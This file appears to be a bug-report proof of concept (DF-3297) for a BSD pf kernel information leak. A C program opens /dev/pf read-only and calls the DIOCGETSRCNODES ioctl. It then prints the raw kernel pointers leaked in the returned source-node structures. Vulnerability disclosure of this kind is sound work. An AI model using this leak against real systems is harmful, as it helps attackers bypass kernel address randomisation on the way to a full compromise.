DF-3297 / leak_srcnodes.c
/* * DF-3297 — DIOCGETSRCNODES copies struct pf_src_node to userland with * raw kernel pointers intact (pf_ioctl.c:2884 bcopy + 2902 copyout). * Only pstore->rule.nr is sanitized; leaked verbatim: * entry.rbe_left / rbe_right / rbe_parent(+color) (RB tree pointers) * rule.ptr (union pf_rule_ptr -> struct pf_rule *) * kif (struct pfi_kif *) * DIOCGETSRCNODES is in the FREAD-allowed set (pf_ioctl.c:1069), i.e. * reachable through a read-only /dev/pf fd wherever devfs grants one. * * Setup: one source-tracking rule (max-src-states) + a couple of states, * then dump the src nodes and print every kernel-pointer-looking qword. */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <net/if.h> #include <net/pf/pfvar.h> int main(void) { struct pfioc_src_nodes psn; char *buf; int dev, i, n; dev = open("/dev/pf", O_RDONLY); /* read-only is enough */ if (dev == -1) { perror("open /dev/pf"); return (2); } memset(&psn, 0, sizeof(psn)); psn.psn_len = 0; if (ioctl(dev, DIOCGETSRCNODES, &psn) == -1) { perror("DIOCGETSRCNODES(size)"); return (2); } if (psn.psn_len == 0) { fprintf(stderr, "no src nodes; load a max-src-states rule " "and create states first\n"); return (1); } buf = malloc(psn.psn_len); psn.psn_src_nodes = (struct pf_src_node *)buf; if (ioctl(dev, DIOCGETSRCNODES, &psn) == -1) { perror("DIOCGETSRCNODES(dump)"); return (2); } n = psn.psn_len / sizeof(struct pf_src_node); printf("%d src node(s), sizeof(pf_src_node)=%zu\n", n, sizeof(struct pf_src_node)); for (i = 0; i < n; i++) { unsigned long long *q = (unsigned long long *) (buf + i * sizeof(struct pf_src_node)); size_t j, nq = sizeof(struct pf_src_node) / 8; printf("node %d:\n", i); for (j = 0; j < nq; j++) if (q[j]) printf(" +%04zx: 0x%016llx%s\n", j * 8, q[j], (q[j] >> 47) ? " <-- kernel pointer" : ""); } return (0); } |